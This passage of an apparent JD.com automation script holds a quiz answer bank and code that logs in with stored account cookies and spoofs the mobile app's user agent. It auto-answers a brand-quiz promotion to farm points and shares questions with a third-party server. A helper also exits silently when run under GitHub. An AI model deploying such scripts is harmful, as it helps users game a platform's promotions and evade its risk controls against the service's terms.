04:37:25","status":"1"},{"questionId":"9101428031","questionIndex":"2","questionStem":"以下哪位是天梭代言人?","options":"[{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvXp9ttEuXD1K8A\",\"optionDesc\":\"郑凯\"},{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvCv6sQbxgHpMyQ\",\"optionDesc\":\"李荣浩\"},{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvyDYZT7PvHD_5A\",\"optionDesc\":\"黄晓明\\t\\t\"}]","questionToken":"IsUSx0BRhz7DUsniIXqo7YN-fWEyYyea-6fQ15NOgDotN-SWbqum2YloF24LKuqRdAio5zDee9LpGXJmN4eeTPiZl8m8KA","correct":"{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvyDYZT7PvHD_5A\",\"optionDesc\":\"黄晓明\\t\\t\"}","create_time":"27/1/2021 04:49:28","update_time":"27/1/2021 04:49:28","status":"1"},{"questionId":"9101428032","questionIndex":"3","questionStem":"天梭属于哪类手表?","options":"[{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvDwvBNim9jbg5z4N\",\"optionDesc\":\"日本手表\"},{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvVAzJb4WJ0w2upA-\",\"optionDesc\":\"欧美手表\"},{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvxfAhrj24koONfbf\",\"optionDesc\":\"瑞士手表\\t\\t\"}]","questionToken":"IsUSx0BRhz7DUcnjIXqo6iKFzjWj7T2YSCRUFXaMV8XAO3FRl0NDh3hN1LKM3UKydj79FiPHixjizk3603KO7dJhBIy54Q","correct":"{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvxfAhrj24koONfbf\",\"optionDesc\":\"瑞士手表\\t\\t\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"9101428033","questionIndex":"4","questionStem":"天梭腕表的质保期?","options":"[{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzv9xpX8O3K1IFj32g\",\"optionDesc\":\"两年全球联保\\t\"},{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzvaLLTguzTd7DGjCN\",\"optionDesc\":\"18个月保修\"},{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzvAJDFuhPb2l1Jhz7\",\"optionDesc\":\"一年保修\\t\"}]","questionToken":"IsUSx0BRhz7DUMnkIXqo7XGqtEz_yNjDIgcivQ6wiwpyxw2l74zHThw5Sbj4fiwrMwz9dVJV_JhWcrJ8xV8FzLszzMYz6w","correct":"{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzv9xpX8O3K1IFj32g\",\"optionDesc\":\"两年全球联保\\t\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"9101428035","questionIndex":"2","questionStem":"百威啤酒诞生于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzvYTi5zE-9bp6gSkItg\",\"optionDesc\":\"比利时\"},{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzvNmpmhF4i_m5o2AEcQ\",\"optionDesc\":\"英国\"},{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzv9sLeazM_8n8-gqW_g\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"IsUSx0BRhz7DVsniIXqo6t5O9jaiCK1anJMqVw4oOGu3xKYuiCuJAWjF2Tcabry5RubZD9cTXztniuYTmDooTOLqZLj1WQ","correct":"{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzv9sLeazM_8n8-gqW_g\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"9101428096","questionIndex":"1","questionStem":"以下哪位是百威啤酒代言人?","options":"[{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvJ_6j3TxwHu08eNA\",\"optionDesc\":\"陈冠希\"},{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvTzSrepyn3n9z_8m\",\"optionDesc\":\"张震岳\"},{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvw4AHc4iawp-kDVA\",\"optionDesc\":\"陈奕迅\\t\\t\"}]","questionToken":"IsUSx0BRhz7JVcnhIXqo7WeBlMdohllelqRtUQoOw7k_8fS3FUDUpJ39jDvLZzghsIPu4ZIU2epYL7aY7SKzg7E4VhRkEw","correct":"{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvw4AHc4iawp-kDVA\",\"optionDesc\":\"陈奕迅\\t\\t\"}","create_time":"27/1/2021 04:49:16","update_time":"27/1/2021 04:49:16","status":"1"},{"questionId":"9101428097","questionIndex":"3","questionStem":"以下哪个属于百威啤酒系列?","options":"[{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzvSoHcCh-zqzEG_Kx\",\"optionDesc\":\"百威酷爽\"},{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzvG9o1QcRIkKFYjo9\",\"optionDesc\":\"百威醇爽\"},{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzv-uraSfId6q6WTtY\",\"optionDesc\":\"百威纯生\\t\\t\"}]","questionToken":"IsUSx0BRhz7JVMnjIXqo7d5RcE0ARccxCRkBFKdo8gGa1CPNGFQo661nQcuoMQoy20SAaOIVYLAON_PNfMtegWY1Ix7mKQ","correct":"{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzv-uraSfId6q6WTtY\",\"optionDesc\":\"百威纯生\\t\\t\"}","create_time":"27/1/2021 04:51:05","update_time":"27/1/2021 04:51:05","status":"1"},{"questionId":"9101428126","questionIndex":"1","questionStem":"以下哪个不属于百威啤酒的酿造原料?","options":"[{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp89gJ2b7EiW8TnEk\",\"optionDesc\":\"高粱\\t\\t\"},{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp8QoJPwIJVe4yEO0\",\"optionDesc\":\"酵母\"},{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp8DqFh1XIZWdrmJU\",\"optionDesc\":\"小麦\"}]","questionToken":"IsUSx0BRhz_3BWSbpRHypgwnutLuM9UVLAllG44GeYuLEujKqgbZW-BZ0o8xRDnZRXOR-EFrMoQn3zth3VviUooOnTYQ1A","correct":"{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp89gJ2b7EiW8TnEk\",\"optionDesc\":\"高粱\\t\\t\"}","create_time":"27/1/2021 04:39:13","update_time":"27/1/2021 04:39:13","status":"1"},{"questionId":"9101428130","questionIndex":"1","questionStem":"百威啤酒被誉为?","options":"[{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp85Db4bJwJJXBiY3Jjw\",\"optionDesc\":\"“世界啤酒之王”\"},{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp8AmJSwj4jcoB-lgsIw\",\"optionDesc\":\"“啤酒界的XO”\"},{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp8bJTeUomvc-dLdAlsA\",\"optionDesc\":\"“啤酒界的保时捷”\"}]","questionToken":"IsUSx0BRhz_2A2SbpRHypjrp54S3oMZW6fVAOrqMXv752Ey1j22bLTAu2zQVlFsT1LanDxl9oSeY6wFrwiW5i_G_7Hz7CQ","correct":"{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp85Db4bJwJJXBiY3Jjw\",\"optionDesc\":\"“世界啤酒之王”\"}","create_time":"27/1/2021 04:51:15","update_time":"27/1/2021 04:51:15","status":"1"},{"questionId":"9101428131","questionIndex":"1","questionStem":"美赞臣铂睿全跃产品代言人是谁?","options":"[{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8zcvtZ5EdZBISYso8w\",\"optionDesc\":\"吴磊\\t\\t\"},{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8UyQVwiDKIB0IYFrcg\",\"optionDesc\":\"应采儿\"},{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8DiwEeN4hqXIRIb48A\",\"optionDesc\":\"郑希怡\"}]","questionToken":"IsUSx0BRhz_2AmSbpRHypgpYoIm2O43K5sR1c3kA_hu5JWviarchwqe6zvPaa9huX5Yjo2Lv8JuBeLxOqLRf5Xbx760RHQ","correct":"{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8zcvtZ5EdZBISYso8w\",\"optionDesc\":\"吴磊\\t\\t\"}","create_time":"27/1/2021 04:43:13","update_time":"27/1/2021 04:43:13","status":"1"},{"questionId":"9101428491","questionIndex":"3","questionStem":"以下哪款美赞臣产品含20倍乳铁蛋白?","options":"[{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_j6wamcb5zQ5eKEM\",\"optionDesc\":\"铂睿\"},{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_C9Rsadrrl024jAX\",\"optionDesc\":\"蓝臻\"},{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_2JBCNSIEscqPzJK\",\"optionDesc\":\"学优力\\t\"}]","questionToken":"IsUSx0BRhzoyJWE6aymNqSRgPskVLI_NADijQkkctzS6eEGq5rb0Rffi0zPwqXaalmugCAhAGXxwFSAuaS6B0amjp4x6_Q","correct":"{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_C9Rsadrrl024jAX\",\"optionDesc\":\"蓝臻\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"9101428492","questionIndex":"3","questionStem":"美赞臣铂睿A2蛋白系列的特点是?","options":"[{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_nJ9ig06bvo8j6Fy_A\",\"optionDesc\":\"添加β葡聚糖\"},{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_CL99x1iGmo4QP4KNA\",\"optionDesc\":\"添加A2蛋白\\t\"},{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_7D3FSxydGW1Xomnaw\",\"optionDesc\":\"添加乳铁蛋白\\t\"}]","questionToken":"IsUSx0BRhzoyJmE6aymNrkymm8UkUplQad6enkVAbmJr8i2KL8ilQCzr85ON-ddYhzEsKKxMMbfPDcdHTUWzj9yucDDJmg","correct":"{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_CL99x1iGmo4QP4KNA\",\"optionDesc\":\"添加A2蛋白\\t\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"9101428493","questionIndex":"3","questionStem":"美赞臣亲舒使用的什么配方?","options":"[{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_giomFfrVyvWyw\",\"optionDesc\":\"没有水解蛋白\"},{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW__aYr9mcvPGYew\",\"optionDesc\":\"深度水解蛋白\"},{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_C6gKpGE8ViI9Q\",\"optionDesc\":\"适度水解蛋白\\t\\t\"}]","questionToken":"IsUSx0BRhzoyJ2E6aymNrim8tV4Axpa3Md0eaZGv5LvuOIgVt4C-XvZR2k2xWTKSUHXxwiBw-QiGupyprwhZEf4sNEkDLQ","correct":"{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_C6gKpGE8ViI9Q\",\"optionDesc\":\"适度水解蛋白\\t\\t\"}","create_time":"27/1/2021 04:33:08","update_time":"27/1/2021 04:33:08","status":"1"},{"questionId":"9101428494","questionIndex":"2","questionStem":"美赞臣的哪款产品可以补充宝妈DHA呢? ","options":"[{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_lkaHYq2zWgmrgV4\",\"optionDesc\":\"铂睿全跃\"},{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_F07o53uQrgRIyN5\",\"optionDesc\":\"安蕴健\\t\\t\"},{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_1VPwcP1bXWjwC5I\",\"optionDesc\":\"学优素\"}]","questionToken":"IsUSx0BRhzoyIGE7aymNqTtWG0BWQzYK4dKfuShEySLQURGSyN6mgrwJD4FFHdVVtJ-9d17Q2g5bvkzVYFHzV9gJeltDmA","correct":"{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_F07o53uQrgRIyN5\",\"optionDesc\":\"安蕴健\\t\\t\"}","create_time":"27/1/2021 04:38:08","update_time":"27/1/2021 04:38:08","status":"1"},{"questionId":"9101428495","questionIndex":"4","questionStem":"好奇Huggies诞生于哪一年?","options":"[{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_OAloNtzZ2ZgRg\",\"optionDesc\":\"1978\"},{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_y5s2Fev08igng\",\"optionDesc\":\"1998\"},{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_rnQTJJZMNjgRA\",\"optionDesc\":\"2008\"}]","questionToken":"IsUSx0BRhzoyIWE9aymNro851_v3t2sSlgjOtir18LPWXIJjW0afF2sRqIbB3NuGoMSwEPZvojMY1AsCmOJ9dFUzRn5oUQ","correct":"{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_OAloNtzZ2ZgRg\",\"optionDesc\":\"1978\"}","create_time":"27/1/2021 04:51:14","update_time":"27/1/2021 04:51:14","status":"1"},{"questionId":"9101428496","questionIndex":"5","questionStem":"好奇Huggies的标志颜色是?","options":"[{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_vKi_1BnNy9Rr-Vk\",\"optionDesc\":\"绿色\"},{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_8F8hMEB1YLY84g1\",\"optionDesc\":\"黄色\"},{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_INhLv1a1pRR4WKj\",\"optionDesc\":\"红色\\t\\t\"}]","questionToken":"IsUSx0BRhzoyImE8aymNrv2fczxcCr4UKxSAYPwPcFkz-zZvMBN_mh4bAhwQxHwXKsTJ1d8SL6kGmpnWf2s1FU2OaXGCDg","correct":"{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_INhLv1a1pRR4WKj\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:48:43","update_time":"27/1/2021 04:48:43","status":"1"},{"questionId":"9101428497","questionIndex":"2","questionStem":"好奇皇家御裤都有什么花纹?","options":"[{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_jlnobQp6x1_Fw\",\"optionDesc\":\"萌萌金牛纹\"},{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_GLN7IKSk-MLfA\",\"optionDesc\":\"五爪金龙纹\\t\\t\"},{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_476e3lcGspA4Q\",\"optionDesc\":\"云霓凤凰纹\"}]","questionToken":"IsUSx0BRhzoyI2E7aymNqWf5Dk1rTo0R5RuBRYV6XhXwkC1EvrX3usJ9nWSGnAOhefNNumWFSFhwvNvfS4aQvEbX55KiHQ","correct":"{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_GLN7IKSk-MLfA\",\"optionDesc\":\"五爪金龙纹\\t\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"9101428498","questionIndex":"2","questionStem":"好奇皇家御裤有多薄?","options":"[{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_2dFfPQXcwvHCVc\",\"optionDesc\":\"0.8cm的裸感芯\\t\"},{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_p3_p6XPT04fBYA\",\"optionDesc\":\"0.9cm的裸感芯\"},{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_Od48yzziZusSPo\",\"optionDesc\":\"0.3cm的裸感芯\\t\"}]","questionToken":"IsUSx0BRhzoyLGE7aymNqfghyyZF0BXRi7j-Q8IEJgUCwegbnx1DkjtKWsJfUMpIkCMvCg6p_Pp4zV_RMSIlRCOaHc1KiA","correct":"{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_Od48yzziZusSPo\",\"optionDesc\":\"0.3cm的裸感芯\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"}] + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.stopAnswer = false; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdImmortalAnswer() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdImmortalAnswer() { + try { + $.risk = false + $.earn = 0 + await getHomeData() + if ($.risk) return + if ($.isNode()) { + //一天答题上限是15次 + for (let i = 0; i < 15; i++) { + $.log(`\n开始第 ${i + 1}次答题\n`); + await getQuestions() + await $.wait(2000) + if ($.stopAnswer) break + } + } else { + await getQuestions() + } + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {userCoinNum} = data.result + if (info) { + $.earn = userCoinNum - $.coin + } else { + console.log(`当前用户金币${userCoinNum}`) + } + $.coin = userCoinNum + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}积分` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getQuestions() { + return new Promise((resolve) => { + $.get(taskUrl('mcxhd_brandcity_getQuestions'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + console.log(`答题开启成功`) + let i = 0, questionList = [] + for (let vo of data.result.questionList) { + $.question = vo + let option = null, hasFound = false + + console.log(`去查询第${++i}题:【${vo.questionStem}】`) + let ques = $.tk.filter(qo => qo.questionId === vo.questionId) + + if (ques.length) { + ques = ques[0] + let ans = JSON.parse(ques.correct) + let opt = vo.options.filter(bo => bo.optionDesc === ans.optionDesc) + if (opt.length) { + console.log(`在脚本内置题库中找到题啦~`) + option = opt[0] + hasFound = true + } else { + console.log(`在脚本内置题库中 未找到答案,去线上题库寻找~`); + ques = await getQues(vo.questionId) + if (ques) { + let ans = JSON.parse(ques.correct) + let opt = vo.options.filter(bo => bo.optionDesc === ans.optionDesc) + if (opt.length) { + console.log(`在线上题库中找到题啦~`) + option = opt[0] + hasFound = true + } + } + } + } + + if (!option) { + console.log(`在题库中未找到题`) + let ans = -1 + for (let opt of vo.options) { + let str = vo.questionStem + opt.optionDesc + console.log(`去搜索${str}`) + let res = await bing(str) + if (res > ans) { + option = opt + ans = res + } + await $.wait(2 * 1000) + } + if (!option) { + option = vo.options[1] + console.log(`未找到答案,都选B【${option.optionDesc}】\n`) + } else { + console.log(`选择搜索返回结果最多的一项【${option.optionDesc}】\n`) + } + } + + let b = { + "questionToken": vo.questionToken, + "optionId": option.optionId + } + $.option = option + await answer(b) + if (!hasFound) questionList.push($.question) + if (i < data.result.questionList.length) { + if (hasFound) + await $.wait(2 * 1000) + else + await $.wait(5 * 1000) + } + } + for (let vo of questionList) { + $.question = vo + await submitQues({ + ...$.question, + options: JSON.stringify($.question.options), + correct: JSON.stringify($.question.correct), + }) + } + } else if (data && data['retCode'] === '325') { + console.log(`答题开启失败,${data['retMessage']}`); + $.stopAnswer = true;//答题已到上限 + } else if (data && data['retCode'] === '326') { + console.log(`答题开启失败,${data['retMessage']}`); + $.stopAnswer = true;//答题已到上限 + } else { + console.log(JSON.stringify(data)) + console.log(`答题开启失败`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function submitQues(question) { + return new Promise(resolve => { + $.post({ + 'url': 'http://qa.turinglabs.net:8081/api/v1/question', + 'headers': { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(question), + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.status === 200) { + console.log(`提交成功`) + } else { + console.log(`提交失败`) + } + resolve() + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getQues(questionId) { + return new Promise(resolve => { + $.get({ + 'url': `http://qa.turinglabs.net:8081/api/v1/question/${questionId}/`, + 'headers': { + 'Content-Type': 'application/json' + } + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.status === 200) { + resolve(data.data) + } else { + resolve(null) + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function answer(body = {}) { + return new Promise((resolve) => { + $.get(taskUrl('mcxhd_brandcity_answerQuestion', {"costTime": 1, ...body}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data && data['retCode'] === "200") { + if (data.result.isCorrect) { + console.log(`您选对啦!获得积分${data.result.score},本次答题共计获得${data.result.totalScore}分`) + $.earn += parseInt(data.result.score) + $.question = { + ...$.question, + correct: $.option + } + } else { + let correct = $.question.options.filter(vo => vo.optionId === data.result.correctOptionId)[0] + console.log(`您选错啦~正确答案是:${correct.optionDesc}`) + $.question = { + ...$.question, + correct: correct + } + } + if (data.result.isLastQuestion) { + console.log(`答题完成`) + } + } else { + console.log(`答题失败`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function bing(str) { + return new Promise(resolve => { + $.ckjar = null; + $.get({ + url: `https://www.bing.com/search?q=${str}`, + headers: { + 'Connection': 'Keep-Alive', + 'Accept': 'text/html, application/xhtml+xml, */*', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Accept-Encoding': 'gzip, deflate', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36' + } + }, (err, resp, data) => { + try { + let num = parseInt(data.match(/="sb_count">(.*) 条结果<\/span>/)[1].split(',').join('')) + console.log(`找到结果${num}个`) + resolve(num) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) + +} + +function taskUrl(function_id, body = {}, function_id2) { + body = {"token": 'jd17919499fb7031e5', ...body} + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi&t=${new Date().getTime()}&sid=&uuid=&area=&networkType=wifi`, + headers: { + "Cookie": cookie, + 'Accept': "application/json, text/plain, */*", + 'Accept-Language': 'zh-cn', + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/4XjemYYyPScjmGyjej78M6nsjZvj/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + body = {...body, "token": 'jd17919499fb7031e5'} + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let 